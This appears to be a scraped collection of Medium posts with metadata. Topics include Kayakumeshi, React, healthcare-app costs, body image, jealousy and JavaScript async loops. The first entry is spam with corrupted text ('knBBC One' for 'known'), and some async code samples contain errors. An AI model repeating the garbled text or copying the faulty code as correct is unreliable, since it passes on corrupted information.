It is widely believed that copyrights are a must to foster cultural diversity and creativity. However, Parc argues that contrary to prevailing beliefs, imitation and copying do not restrict cultural creativity or diversity but in fact support them further. This argument has been supported by many examples such as Millet and Van Gogh, Picasso, Manet, and Monet, etc.[15]
❏ GOODS OF SERVICES ❏
Credit (from Latin credit, “(he/she/it) believes”) is the trust which allows one party to provide money or resources to another party wherein the second party does not reimburse the first party immediately (thereby generating a debt), but promises either to repay or return those resources (or other materials of equal value) at a later date.[1] In other words, credit is a method of making reciprocity formal, legally enforceable, and extensible to a large group of unrelated people.
The resources provided may be financial (e.g. granting a loan), or they may consist of goods or services (e.g. consumer credit). Credit encompasses any form of deferred payment.[2] Credit is extended by a creditor, also knBBC One as a lender, to a debtor, also knBBC One as a borrower. | https://medium.com/@xecep85197/s2-e6-hilda-series-2-episode-6-full-episode-67ec8a9fdc42 | [] | 2020-12-18 12:10:32.323000+00:00 | ['Cartoon', 'Hilda', 'TV Shows', 'Netflix'] |
The Flow | Can you just go with the flow?
When there are things you want, things you’d like to accomplish how will you get them? Remember there are forces around you that you cannot control (ie: people and their actions). This flow is a stream that deviates many times and there is a point where you will have to ask yourself if you trust things enough to just go with them.
The Flow, when you go with it be knowledgeable and trust the steadiness and destination. | https://medium.com/joshhallman/the-flow-dd4267d0032c | ['Josh Hallman'] | 2016-06-12 03:03:20.188000+00:00 | ['Flow', 'Days'] |
A NEW BEGINNING | A NEW BEGINNING
Photo by HONG FENG on Unsplash
This is turning into a series of short stories that at first were not related but have begun to look that way. Joe Nordic is someone who has been around for a while. These are some of his stories. There were more before this and will be more after.
Some stories start and you learn the history from where they came as you go.
This part of the story starts in the middle. Joe goes for a normal weekend but ends up nowhere near.
https://medium.com/illumination/a-fire-f1ed57747963
Photo by Toa Heftiba on Unsplash
It continues
https://medium.com/illumination/my-first-gathering-48773ba99551
Photo by Jon Tyson on Unsplash
This is connected
https://medium.com/illumination/giving-myself-to-hope-e7a63554816
Photo by Kayla Maurais on Unsplash
The next part.
https://medium.com/illumination/i-got-a-roommate-8f196acfa4f2
Photo by Misty Ladd on Unsplash
More
https://medium.com/illumination/she-got-a-job-dc04efabe49b | https://medium.com/illumination/a-new-beginning-213a3fba0639 | ['Larry Nowicki'] | 2021-01-18 03:06:59.469000+00:00 | ['Who', 'Go', 'Adventure', 'Fiction', 'Short Stories'] |
Kayakumeshi (かやく飯) — Food in Japan — Traditional Food in Japan | INTRODUCTION TO KAYAKUMESHI
Kayakumeshi is one of Japan’s five great rice dishes (日本五大銘飯) and is a representative food from Osaka prefecture. Kayakumeshi is the kind of thing that one would expect Osaka people to think. With its cooked rice and additional vegetable ingredients as the main reason.
If we are talking about Japan, rice is in association with their culture. Rice is so important in Japanese society. It became the essence of their culture. Hence, a bowl of cooked rice is a central part of traditional Japanese meals. The cooked rice called “Gohan” or “meshi” is a staple food that has become part of its diet. Japanese eat this regularly and even daily.
There are other Meshi or cooked rice dishes that you can find in other prefectures. Some of these are Fukagawa-meshi and Shinagawa-meshi in Tokyo and Atsumeshi in Oita prefecture. If you are looking for the traditional representative food of Osaka, you can find it here.
WHAT IS KAYAKUMESHI?
Kayakumeshi is a traditional food in Osaka prefecture. It is also one of Japan’s five great rice dishes together with Fukagawa-meshi in Tokyo. Kayakumeshi has different names depending on every region or dialect. You can call it Gomoku meshi or Takikomi Gohan. You can make this by cooking vegetables with rice with seasonings. “Kayaku” is about any herbs that match rice.
There is a reason why “Kayakumeshi” has become so popular among the ordinary people in Osaka. It is because they liked the logical place where they could use abundant ingredients without waste. But of course, the main reason is that it’s delicious.
Kayaku meshi serves as both rice and side dishes. It contains varieties of ingredients, and the rice has unique umami. You can eat it all year round, and it needs no special ingredients. On top of that, it’s cheap to make. It has an assortment of ingredients such as carrots, burdock root, thin deep-fried tofu, konnyaku, shiitake mushrooms, and chicken.
ETYMOLOGY
Two root words compose the word “Kayakumeshi.” Kayaku and Meshi are therefore forming the word “Kayaku rice”. Meshi (めし) is meal or cooked-rice, and often in its hiragana form (メシ).
In Kanji, the term “Kayaku (加薬)” means “additional medicine” or “additional role”. Initially, it is a Chinese term, which means an auxiliary medicine that enhances nutritional value and improves Chinese medicinal properties. But in Kansai-ben or dialect, written as (かやく) meaning meat, fish, vegetables, etc., added to rice or udon.
KAYAKUMESHI HISTORY
The history of cooked rice dates back to the Nara period. At that time, “foxtail millet” mix with rice to therefore increase its amount. Cooked rice mixed with burdock and carrot called “Kayaku rice” in Osaka and Kansai. The dish started with mixing ingredients to save rice when there is not enough rice to harvest. The rationality of using leftovers from home as ingredients are the reasons why the merchant town of Osaka loves this dish.
During the Muromachi period, they used rice as one of the dishes. “Hohan” eaten with seasoned vegetables on white rice and sprinkled with soup became popular among monks and upper classes. And that its origin just changed its shape and spread to the ordinary people.
“Kayakumeshi” is a name for a rice dish with lots of vegetables and meats in Osaka, generally called Gomokugohan, Mazegohan, and Takikomigohan. Kayakumeshi is a dish loves by the Osaka people because it is such a “rational” dish that it still tastes good even cold. It also does not require any other side dish because of the various ingredients and cooked with any leftover vegetables.
KAYAKUMESHI RECIPE
Kayakumeshi recipe consists of chicken, burdock root, carrots, fried tofu, konjac, hijiki seaweed, dried shiitake mushrooms, etc. They also seasoned the rice with salt, soy sauce, soup stock, and sake.
HOW TO MAKE KAYAKUMESHI?
Kayakumeshi is rice-made by cooking ingredients with rice. By simply adding finely chopped ingredients, an appropriate amount of soup stock, water, sake, soy sauce, etc., to rice. These ingredients can be chicken, konjac, carrots, fried tofu, etc. You can cook this with clay pots, rice cookers, rice cookers, etc. In the case of a pot, put it on medium heat, and when it boils, reduce the heat. Please put it on the heat for 14 minutes, remove it from the heat and steam it for 10 minutes.
When people gather or go out, they make this and eat it. They put seasonal ingredients such as bamboo shoots and mushrooms come out in spring and autumn, athletic meet, rally, and excursion.
DIFFERENCE BETWEEN KOME, MESHI, AND DON
The word “Kome (米)” literally means rice in Japanese and refers to uncooked rice. Subsequently, “Gohan (ご飯)” and “Meshi (飯)” are the Japanese words for cooked rice and refer to a meal in general. The term “Don (丼)” is a suffix in Japanese dish names. Moreover, Don is the abbreviation for “Donburi (丼),” which refers to a rice bowl dish.
GOHAN VS MESHI
Actually, “Gohan (ご飯)” is the polite word of “Meshi (飯)” as the “Go (ご)” part of Gohan is a prefix to make a polite expression in Japanese. Thus, Meshi and Gohan basically mean the same things.
WHY IS RICE IMPORTANT IN JAPAN?
Rice is so important in Japanese society that it becomes the essence of the culture. Moreover, it manifests in numerous aspects of Japanese cultural life, ranging from folklore, festivals, and family rituals to arts, crafts, and cooking. The importance of rice in Japan can not be emphasize enough. Consequently, it is the source of traditional spirit, sake, and left as offerings to gods and ancestors. Rice cultivation happened for over 2,000 years in Japan.
THE GOLDEN RULE OF EATING RICE IN JAPAN
The golden rule is don’t pour soy sauce into your rice in Japan. As a result, you’ll get incredulous looks. The Japanese find subtle flavor in their rice that Westerners have a more challenging time appreciating. And when you eat sushi, again, dip the fish, not the rice, into the sauce.
RECOMMENDED KAYAKUMESHI RESTAURANTS
Daikoku
A long-established restaurant that is the origin of kayakumeshi. Daikoku is a set meal restaurant in Namba, Osaka. Founded in 1902, loved by the people of Osaka for a long time. “Kayaku rice” is an exquisite and popular menu. The Kayaku set (2 dishes of kayaku rice, soup, and side dishes) is ¥1000 plus tax.
Address: 2–2–7 Dotonbori, Chuo-ku, Osaka-shi, Osaka
Phone Number: 06–6211–1101
Hours Open: [Tuesday-Friday / Saturday] 11: 30–15: 00/17: 00–20: 00 Regular holiday: every Monday and Sunday
Kayaku Rice and Sake Kayaku
Kayaku Rice and Sake Kayaku is a “Kayaku Rice” shop in Kitamachi, Nara. For lunch, we serve “Kayaku rice” cooked in a flanged-iron pot. In the evening, it will transform into space where you can enjoy course meals with sake. You can enjoy it in a calm space that renovated from an old folk house.
Address: 26 Kitahanda Nakamachi, Nara 630–8275
Phone Number: 0742–26–6870
Hours Open: 11:30–14: 00 (LO13: 30) * 17: 30–22: 00 until visiting 20:00 (LO21: 00)
Kaoriya
“ Kaoriya “ is a restaurant specializing in kayaku rice that offers kayaku rice cooked with plenty of ingredients, including seasonal ingredients. In addition to preparing a variety of kayaku rice, the store also sells rice balls and bento boxes. There are two types of standard kayaku rice, “chicken and gome” and “wagyu and burdock”. I put the ingredients in it and cooked it in a white sardine with bonito, mackerel, chin, urume, mejika, and Rausu kelp.
Address: Osaka Hankyu Umeda Main Store B1F Food Section
Phone Number: 06–6361–1381
Hours Open: Monday-Sunday 10:00 ~ 20:00
Hare
Hare is an Izakaya or a Japanese-style pub. You can replace the plain rice with kayaku rice and the shop will attend to it. The service is very polite and the barley tea will be served first, and when it is about half, it will be poured immediately. It is a very cozy shop. The menu Takikomi Gohan also known as Gomoku meshi or Kayakumeshi is a rice dish cook with additional ingredients and seasoning. The menu costs about ¥2500 per serving.
Address: 3–1–1, Marunouchi, Chiyoda-ku, Tokyo, 100–0005, Teigeki Building
Phone Number: 50–5485–2782
Hours Open: Monday — Friday Lunch: 11:30–14:30(L.O.14:00), Dinner: 16:00–20:00(L.O.19:30, Drink L.O. 19:30) Regular Holiday: Sunday
CONCLUSION
In a typical Japanese meal, a bowl of rice served with side dishes for variety and taste. Accordingly, they steamed and lightly seasoned the daily rice served with meals. Japanese cook and serve rice with different spices and adding delicacies to make it more nutritious. According to research, an individual Japanese person consumes about 119 grams of rice per day, around two and a half rice balls’ worth. Moreover, the Japanese do eat a smaller portion of a meal a day. With a single serving of rice, miso soup, two small vegetable dishes, and a single-serving protein dish. To sum up, smaller plates and varied plates naturally diversify the foods to eat and practice portion control. | https://medium.com/@krishasabban/kayakumeshi-%E3%81%8B%E3%82%84%E3%81%8F%E9%A3%AF-food-in-japan-traditional-food-in-japan-25d23195864b | [] | 2021-04-07 13:30:52.607000+00:00 | ['Foodies', 'Japanese Culture', 'Japan', 'Japanese Food', 'Japanese'] |
She Blooms | pixabay.com
She blooms
because she was meant to.
She rises
above barren soil
in ignorance
of its inability
to nourish.
Her only awareness
is of her purpose.
There is nothing
too heavy
with gloominess
to dampen the fullness
of her colors.
She bends her body
into a defiant slant
as she pushes through ground
infertile and scant
because it is precisely when
they think she can’t
that she
will always
bloom.
© Jacqueline Ann 2020 | https://medium.com/crescent-moon/she-blooms-93afc327e08f | ['Jackie Ann'] | 2020-10-13 15:03:20.154000+00:00 | ['Resilience', 'Poetry On Medium', 'Spirituality', 'Poetry', 'Spiritual Growth'] |
React Suspense & Concurrent Mode | The front end of web has been overwhelmed by JavaScript Frameworks. Just as you’ve learned one, another pops up and we start to question how long this game of “whack-a-mole” can go on for. Or at least, this has been the case for the last few years.
There have been a few that have stood from the crowd — often backed by tech giants — and they’ve all got great features to offer. Google maintained Angular is a fantastic tool that shines on large projects by utilizing typescript out-of-the-box, and treating Observables as a first class citizen. Vue — started and maintained entirely in the Open-Source community — has incredible documentation, their own video courses, and has been adopted by the PHP framework Laravel for it’s go to front-end framework.
However, this post is about React, and more specifically its horizon. Started and maintained at Facebook, React has a history of maintaining stable releases while also pushing out game changing features. In February of 2019, the React Team made another step toward implementing their Fiber Architecture with the release of “hooks”. This was a fundamental shift in the way React developers produced their apps, with everything moving closer to the functional paradigm.
In a strict, academic-Computer-Science sense, JavaScript doesn’t support functional programming, but it does have the properties of a dynamically typed functional language. And React has been steadily moving away from the object-oriented paradigm, and towards this functional approach. It’s important to note here that React doesn’t advertise itself as a framework, in fact, the heading on their homepage is “A JavaScript library for building user interfaces”.
So, React is a library for building UI, and is becoming more functional. What does that mean from the perspective of a developer? It means that every piece of your view is just the return value of a function. It means that every data value we calculate, and every piece of business logic we derive, can be the result of a function. Since functions are just JavaScript, it means React is moving closer to its tagline of being a JavaScript library. It means: If you’re good at JavaScript, you’re good at React.
This leads to the meat of this article — what is on the horizon for the React Community? Asynchronous — interruptible — rendering.
Concurrent Mode is the set of new, still experimental, features being introduced to React. These features are the next logical step in the functional, JavaScript-first, approach the React Team has been taking.
Asynchronous functions have long been a part of JavaScript, but up until this time, React has only supported synchronous rendering. When we get the release of the new Concurrent Mode features, we will see another fundamental shift in the way developers write React apps. We will be able to use asynchronous functions, and promises, to drive our rendering: unresolved promises will have a fallback, and once the promise returns a value, we’ll render the component as expected. This release will also see a dramatic improvement in the way users respond to these apps.
If you’ll recall, the React Team is sponsored by Facebook, and thus has access to the research and development Facebook performs. Having the world’s two most popular social media sites as a playground provides a lot of opportunity to learn about user interaction. One of the results of this research is outlined in the Concurrent Mode docs: “displaying too many intermediate loading states when transitioning between screens makes a transition feel slower”.
This problem will be addressed in the new Concurrent Mode features. As mentioned before, we can use Promises to drive our rendering, but the base behaviour will ensure the user doesn’t experience too many loading states, or more importantly, that the user experiences “intentional loading sequences”.
As JavaScript grows, the spirit of that growth is engendered in the community. The move toward Concurrent Mode, and React Fiber in general, is a reflection of the React Team aligning with the JavaScript community. By integrating closer with the fundamentals of JavaScript, React is continually improving the experience of development. This allows React developers to pay that experience forward in their applications and ultimately, their users. It’s an exciting time to be a part of the JavaScript community, as we move our horizon forward. | https://medium.com/well-red/react-suspense-concurrent-mode-cb92e99d95e2 | ['Lauchlan Chisholm'] | 2020-05-12 16:50:37.619000+00:00 | ['React', 'React Suspense', 'JavaScript', 'Asynchronous', 'Development'] |
How much does it Cost to Build a Healthcare App? A Complete Guide | How much does it Cost to Build a Healthcare App? A Complete Guide Techtic Solutions Follow Dec 10 · 4 min read
With advanced technology and growing awareness about healthcare, customized HealthTech App Development has turned into a necessity than a preference. If research done by Statista is to be believed, the total global mHealth market is forecasted to reach around 100 billion U.S. dollars in the year 2021. That would be approximately a five times increase from 21 billion dollars in 2016.
Also, statistics on Statista.com illustrates the increase in medical apps downloaded in January 2020 matched to the ‘peak’ month for the COVID-19 crisis in diverse countries which shows South Korea had the highest growth of 135% boost in such downloads with 90% by India comparing its peak month of the crisis with January.
Medical app downloads during the peak of COVID-19 crisis by country 2020
These healthcare statistics clearly say that HealthTech App Development Services are being acknowledged and relied on by users globally. So it is profitable to partner with a highly professional and experienced Healthcare app developer for your Customized HealthTech App Development requirements.
How much does it precisely Cost to Develop a Basic App?
Let’s initiate with a provision: there is no approach to offering precise app development estimation without knowing the requirements. All the replications we showcase are based on our industry experiences to foresee a meticulous app development cost.
The pricing readily depends on app development details such as selected team composition (Project Manager, Team Leader, App Developer, Q&A Engineer), the technology used, application features, functionalities, and client needs.
What factors impact the cost of a Customized HealthTech Software Development?
Multiple factors can boost or lower the price of HealthTech Software Development Services and healthcare app development.
One, you require to exploring:
What you already have and what needs to be executed. How much functionality does your mobile app need to deliver with its intended objectives? And how modern are they?
Working on these factors is the foremost step. If you already have some software or system, there can be lesser work involved with back-end development; however, if you require the app from scratch, that involves more costs and resources hours.
Similarly, if you require more products than merely a single app, like one application on the doctor’s side and the other on the patient side, the cost will increase.
Should I hire a Specialized Healthcare App Development Company?
There are three different choices when it comes to Customized HealthTech Software Development.
Creating an in-house development team which means you will have to invest time in the recruitment and employee onboarding Hire a freelancer that will be a low-cost option, but trust can be an issue
Hire a 3rd party software development house that will build a custom healthcare application and offer experts who will manage the project comprehensively
Should I Prefer Offshore Development, and how much does it cost?
One may think how much does it cost to develop a medical app or facilitate HealthTech Software Development Services if it involves numerous development stages?
However, you can lower the cost by hiring an offshore team, especially from India. You get experienced and specialized development teams who can provide superior quality mobile applications, by paying lesser than hiring a software house from your local country.
Read More: Importance Of Mobile Apps In Healthcare Industry
Basic Functionalities every Healthcare App should have?
User registration and login process that also enables registration/log in through social media profiles User accounts/profiles with control on users personal data and information Administration panel for handling staff with analytics and admin functionalities with a content management system (CMS) Messaging systems for doctors, patients, and other medical staff Push notifications for user communications Payment tools for paid services Multi-Language Support In-App Wallet Search OTP Login Use Promo Code/Referral Code
Recommended Features for HealthTech App Development Services
Security compliances and measures: Healthcare applications require being HIPAA and GDPR compliant, so you necessitate keeping in mind that the mobile application has to be adapted to these legislations. Video calls: Enables doctors, patients, and medical staff’s real-time conversations. Integrations with healthcare and medical devices: if your healthcare app requires being that superior to synchronize with other devices, it is crucial. Integrations with external platforms: For instance, medical record systems Automations: Relying on the category of healthcare applications can tell or remind medications, monitor incidents, or offer regular reports on the patient’s health.
Suppose you require more advanced and superior functionalities such as geolocation, Google maps integration, camera integration, advertisements. In that scenario, you need noting it will increase the overall pricing and take more time to complete app development.
Wrapping Up
As you can explore, we know a lot about HealthTech App Development Services. We at Techtic are a leading HealthTech App Development Company with a team of proficient developers for hire and have developed flourishing healthcare applications. So, as a leading healthcare mobile app development company, we can help you build software products and solutions for diverse healthcare domains. | https://medium.com/techtic-solutions/how-much-does-it-cost-to-build-a-healthcare-app-a-complete-guide-85bf94b3916f | ['Techtic Solutions'] | 2020-12-15 05:08:02.446000+00:00 | ['Healthcare App Developer', 'Cost Of Healthcare App', 'Healthcare', 'Healthcare Apps', 'Healthtech Startup'] |
How You Can Learn to Love Your Body | Photo by Roberto Delgado Webb on Unsplash
I believe a lot of girls and young women learn early and quickly to unlove and mistrust their bodies. I can remember the exact moment I felt betrayed by my own body: I was nine years old and my mom let me try on her wedding dress. Expecting it to be much too big (my mother was an adult, after all, and I was just a little girl), it barely fit. Not knowing anything about different body types — my mother is petite and small-boned; I’m not— I immediately took this to mean I was fat.
This betrayal is always at the back of my mind, one of many little things about myself I’ve collected over the years to create the story I had often told myself. I’m too big, too much. That betrayal, along with all the other things, are the bits and pieces I’m trying to edit out as I tell a new story about my body.
Many days, maybe even most, I love my body. I’m the heaviest I’ve ever been and I’ve just turned 30, but I have such love for myself, and have decided to let go of the rules that have bound my body for decades. Of course, there are days when I feel extremely insecure, sometimes many in a row, and I become cranky and desperate for a quick fix for the fleshy prison I’ve convinced myself I’m trapped in. I tell myself horrible stories and believe them wholeheartedly. But then, another day or two pass and I happen to wear something I especially like, take my time getting ready that morning, and shore myself up on sweet self-talk, and I’m back, knowing I’m good…and a total babe.
How am I learning to love my body? There are a lot of factors that come into it, and many are highly individual, but below is a list of things that have shaped my positive attitude about my body: | https://kirsten-petroska.medium.com/how-you-can-learn-to-love-your-body-a33c6f2ce7ac | ['Kirsten Pietraszka'] | 2018-08-07 14:10:39.020000+00:00 | ['Body Image', 'Self Love', 'Body Positive', 'Lessons Learned', 'Fatphonbia'] |
10 Effective Ways To Deal With Jealous People | 10 Effective Ways To Deal With Jealous People
Have you ever been on a once in a lifetime luxury holiday to post your experience naively with excitement only to be met with jealous friends when you come home that remain this way as if you owe them something.
What to do with these personality types if you come across this type of behaviour.
Empathize and identify with their viewpoint.
Channel their overcorrection to your advantage. You have more to give then what they serve you.
Research how to overcome narcissitic abuse and learn how to deal with the narcissist attitudes.
Avoid always talking about yourself and give them importance instead, these people like to be center of attention as if life were a show.
Take their hateful comments with a smile knowing the real truth behind the shade and misjudgment they throw your way.
Address the matter head-on and nip it in the bud so it begins to stop. Don’t fall into their agenda of targeted attacks.
Do genuine deeds of kindness towards jealous people who mislead you with forgiveness in your heart.
Limit your interaction with them or remove and don’t associate yourself with them in your life.
Life is tough but if you are able to deal with things effectively and not become too emotional when dealing with jealous mockers than you will be better off and happier for it.
It can be painful when people attack your credibility knowing how hard and how much dedication and discipline it took for you to serve with your gifts and passions .
People should not pick on you, bully or intimidate you using their authority or constantly find fault for pursuing your path and creativity in life
Painting and doing Art like anything is a discipline and is incredibly time consuming and labour intensive only to be glanced at, overlooked, scrolled by and taken for granted through green eyes.
Never to truely be appreciated by jealous contenders as a unique soul expression of something to be treasured in homes for a lifetime.
Building a bridge is a two way street.
If you found this helpful than recommend applaud and follow now. | https://medium.com/@angeliichoo77/10-effective-ways-to-deal-with-jealous-people-da60dab3a1c3 | [] | 2020-12-17 07:24:17.364000+00:00 | ['Friendship', 'Abuse', 'Travel', 'People', 'Jealousy'] |
JavaScript async and await in loops | Basic async and await is simple. Things get a bit more complicated when you try to use await in loops.
In this article, I want to share some gotchas to watch out for if you intend to use await in loops.
Before you begin
I'm going to assume you know how to use async and await . If you don't, read the previous article to familiarize yourself before continuing.
Preparing an example
For this article, let's say you want to get the number of fruits from a fruit basket.
const fruitBasket = {
apple: 27,
grape: 0,
pear: 14
};
You want to get the number of each fruit from the fruitBasket. To get the number of a fruit, you can use a getNumFruit function.
const getNumFruit = fruit => {
return fruitBasket[fruit];
}; const numApples = getNumFruit(“apple”);
console.log(numApples); // 27
Now, let's say fruitBasket lives on a remote server. Accessing it takes one second. We can mock this one-second delay with a timeout. (Please refer to the previous article if you have problems understanding the timeout code).
const sleep = ms => {
return new Promise(resolve => setTimeout(resolve, ms));
}; const getNumFruit = fruit => {
return sleep(1000).then(v => fruitBasket[fruit]);
}; getNumFruit(“apple”).then(num => console.log(num)); // 27
Finally, let's say you want to use await and getNumFruit to get the number of each fruit in asynchronous function.
const control = async _ => {
console.log(“Start”); const numApples = await getNumFruit(“apple”);
console.log(numApples); const numGrapes = await getNumFruit(“grape”);
console.log(numGrapes); const numPears = await getNumFruit(“pear”);
console.log(numPears); console.log(“End”);
};
Console shows ‘Start’. One second later, it logs 27. Another second later, it logs 0. One more second later, it logs 14, and ‘End’
With this, we can begin looking at await in loops.
Await in a for loop
Let's say we have an array of fruits we want to get from the fruit basket.
const fruitsToGet = [“apple”, “grape”, “pear”];
We are going to loop through this array.
const forLoop = async _ => {
console.log(“Start”); for (let index = 0; index < fruitsToGet.length; index++) {
// Get num of each fruit
} console.log(“End”);
};
In the for-loop, we will use getNumFruit to get the number of each fruit. We'll also log the number into the console.
Since getNumFruit returns a promise, we can await the resolved value before logging it.
const forLoop = async _ => {
console.log(“Start”); for (let index = 0; index < fruitsToGet.length; index++) {
const fruit = fruitsToGet[index];
const numFruit = await getNumFruit(fruit);
console.log(numFruit);
} console.log(“End”);
};
When you use await , you expect JavaScript to pause execution until the awaited promise gets resolved. This means await s in a for-loop should get executed in series.
The result is what you'd expect.
“Start”;
“Apple: 27”;
“Grape: 0”;
“Pear: 14”;
“End”;
Console shows ‘Start’. One second later, it logs 27. Another second later, it logs 0. One more second later, it logs 14, and ‘End’
This behavior works with most loops (like while and for-of loops)...
But it won't work with loops that require a callback. Examples of such loops that require a fallback include forEach , map , filter , and reduce . We'll look at how await affects forEach , map , and filter in the next few sections.
Await in a forEach loop
We'll do the same thing as we did in the for-loop example. First, let's loop through the array of fruits.
const forEachLoop = _ => {
console.log(“Start”); fruitsToGet.forEach(fruit => {
// Send a promise for each fruit
}); console.log(“End”);
};
Next, we'll try to get the number of fruits with getNumFruit . (Notice the async keyword in the callback function. We need this async keyword because await is in the callback function).
const forEachLoop = _ => {
console.log(“Start”); fruitsToGet.forEach(async fruit => {
const numFruit = await getNumFruit(fruit);
console.log(numFruit);
}); console.log(“End”);
};
You might expect the console to look like this:
“Start”;
“27”;
“0”;
“14”;
“End”;
But the actual result is different. JavaScript proceeds to call console.log('End') before the promises in the forEach loop gets resolved.
The console logs in this order:
‘Start’
‘End’
‘27’
‘0’
‘14’
Console logs ‘Start’ and ‘End’ immediately. One second later, it logs 27, 0, and 14.
JavaScript does this because forEach is not promise-aware. It cannot support async and await . You _cannot_ use await in forEach .
Await with map
If you use await in a map , map will always return an array of promise. This is because asynchronous functions always return promises.
const mapLoop = async _ => {
console.log(“Start”); const numFruits = await fruitsToGet.map(async fruit => {
const numFruit = await getNumFruit(fruit);
return numFruit;
}); console.log(numFruits); console.log(“End”);
}; “Start”;
“[Promise, Promise, Promise]”;
“End”;
Console logs ‘ Start ’, ‘[Promise, Promise, Promise]’, and ‘End’ immediately
Since map always return promises (if you use await ), you have to wait for the array of promises to get resolved. You can do this with await Promise.all(arrayOfPromises) .
const mapLoop = async _ => {
console.log(“Start”); const promises = fruitsToGet.map(async fruit => {
const numFruit = await getNumFruit(fruit);
return numFruit;
}); const numFruits = await Promise.all(promises);
console.log(numFruits); console.log(“End”);
};
Here's what you get:
“Start”;
“[27, 0, 14]”;
“End”;
Console logs ‘Start’. One second later, it logs ‘[27, 0, 14] and ‘End’
You can manipulate the value you return in your promises if you wish to. The resolved values will be the values you return.
const mapLoop = async _ => {
// …
const promises = fruitsToGet.map(async fruit => {
const numFruit = await getNumFruit(fruit);
// Adds onn fruits before returning
return numFruit + 100;
});
// …
}; “Start”;
“[127, 100, 114]”;
“End”;
Await with filter
When you use filter , you want to filter an array with a specific result. Let's say you want to create an array with more than 20 fruits.
If you use filter normally (without await), you'll use it like this:
// Filter if there’s no await
const filterLoop = _ => {
console.log(‘Start’) const moreThan20 = await fruitsToGet.filter(fruit => {
const numFruit = fruitBasket[fruit]
return numFruit > 20
}) console.log(moreThan20)
console.log(‘End’)
}
You would expect moreThan20 to contain only apples because there are 27 apples, but there are 0 grapes and 14 pears.
“Start”[“apple”];
(“End”);
await in filter doesn't work the same way. In fact, it doesn't work at all. You get the unfiltered array back...
const filterLoop = _ => {
console.log(‘Start’) const moreThan20 = await fruitsToGet.filter(async fruit => {
const numFruit = getNumFruit(fruit)
return numFruit > 20
}) console.log(moreThan20)
console.log(‘End’)
} “Start”[(“apple”, “grape”, “pear”)];
(“End”);
Console loggs ‘Start’, ‘[‘apple’, ‘grape’, ‘pear’]’, and ‘End’ immediately
Here's why it happens.
When you use await in a filter callback, the callback always a promise. Since promises are always truthy, everything item in the array passes the filter. Writing await in a filter is like writing this code:
// Everything passes the filter…
const filtered = array.filter(true);
There are three steps to use await and filter properly:
1. Use map to return an array promises
2. await the array of promises
3. filter the resolved values
const filterLoop = async _ => {
console.log(“Start”); const promises = await fruitsToGet.map(fruit => getNumFruit(fruit));
const numFruits = await Promise.all(promises); const moreThan20 = fruitsToGet.filter((fruit, index) => {
const numFruit = numFruits[index];
return numFruit > 20;
}); console.log(moreThan20);
console.log(“End”);
}; Start[“apple”];
End;
Console shows ‘Start’. One second later, console logs ‘[‘apple’]’ and ‘End’
Await with reduce
For this case, let's say you want to find out the total number of fruits in the fruitBastet. Normally, you can use reduce to loop through an array and sum the number up.
// Reduce if there’s no await
const reduceLoop = _ => {
console.log(“Start”); const sum = fruitsToGet.reduce((sum, fruit) => {
const numFruit = fruitBasket[fruit];
return sum + numFruit;
}, 0); console.log(sum);
console.log(“End”);
};
You'll get a total of 41 fruits. (27 + 0 + 14 = 41).
“Start”;
“41”;
“End”;
Console logs ‘Start’, ‘41’, and ‘End’ immediately
When you use await with reduce, the results get extremely messy.
// Reduce if we await getNumFruit
const reduceLoop = async _ => {
console.log(“Start”); const sum = await fruitsToGet.reduce(async (sum, fruit) => {
const numFruit = await getNumFruit(fruit);
return sum + numFruit;
}, 0); console.log(sum);
console.log(“End”);
}; “Start”;
“[object Promise]14”;
“End”;
Console logs ‘Start’. One second later, it logs ‘[object Promise]14’ and ‘End’
What?! [object Promise]14 ?!
Dissecting this is interesting.
In the first iteration, sum is 0 . numFruit is 27 (the resolved value from getNumFruit(‘apple’) ). 0 + 27 is 27.
is . is 27 (the resolved value from ). is 27. In the second iteration, sum is a promise. (Why? Because asynchronous functions always return promises!) numFruit is 0. A promise cannot be added to an object normally, so the JavaScript converts it to [object Promise] string. [object Promise] + 0 is [object Promise]0
is a promise. (Why? Because asynchronous functions always return promises!) is 0. A promise cannot be added to an object normally, so the JavaScript converts it to string. is In the third iteration, sum is also a promise. numFruit is 14 . [object Promise] + 14 is [object Promise]14 .
Mystery solved!
This means, you can use await in a reduce callback, but you have to remember to await the accumulator first!
const reduceLoop = async _ => {
console.log(“Start”); const sum = await fruitsToGet.reduce(async (promisedSum, fruit) => {
const sum = await promisedSum;
const numFruit = await getNumFruit(fruit);
return sum + numFruit;
}, 0); console.log(sum);
console.log(“End”);
}; “Start”;
“41”;
“End”;
Console logs ‘Start’. Three seconds later, it logs ‘41’ and ‘End’
But... as you can see from the gif, it takes pretty long to await everything. This happens because reduceLoop needs to wait for the promisedSum to be completed for each iteration.
There's a way to speed up the reduce loop. (I found out about this thanks to Tim Oxley. If you await getNumFruits( ) first before await promisedSum , the reduceLoop takes only one second to complete:
const reduceLoop = async _ => {
console.log(“Start”); const sum = await fruitsToGet.reduce(async (promisedSum, fruit) => {
// Heavy-lifting comes first.
// This triggers all three getNumFruit promises before waiting for the next iteration of the loop.
const numFruit = await getNumFruit(fruit);
const sum = await promisedSum;
return sum + numFruit;
}, 0); console.log(sum);
console.log(“End”);
};
Console logs ‘Start’. One second later, it logs ‘41’ and ‘End’
This works because reduce can fire all three getNumFruit promises before waiting for the next iteration of the loop. However, this method is slightly confusing since you have to be careful of the order you await things.
The simplest (and most efficient way) to use await in reduce is to:
1. Use map to return an array promises
2. await the array of promises
3. reduce the resolved values
const reduceLoop = async _ => {
console.log(“Start”); const promises = fruitsToGet.map(getNumFruit);
const numFruits = await Promise.all(promises);
const sum = numFruits.reduce((sum, fruit) => sum + fruit); console.log(sum);
console.log(“End”);
};
This version is simple to read and understand, and takes one second to calculate the total number of fruits.
Console logs ‘Start’. One second later, it logs ‘41’ and ‘End’
Key Takeaways
1. If you want to execute await calls in series, use a for-loop (or any loop without a callback).
2. Don't ever use await with forEach . Use a for-loop (or any loop without a callback) instead. | https://medium.com/free-code-camp/javascript-async-and-await-in-loops-30ecc5fb3939 | ['Zell Liew'] | 2019-05-22 22:56:04.167000+00:00 | ['JavaScript'] |
The European Colonization of the Middle East | The European Colonization of the Middle East
Was it for ideological or geopolitical reasons
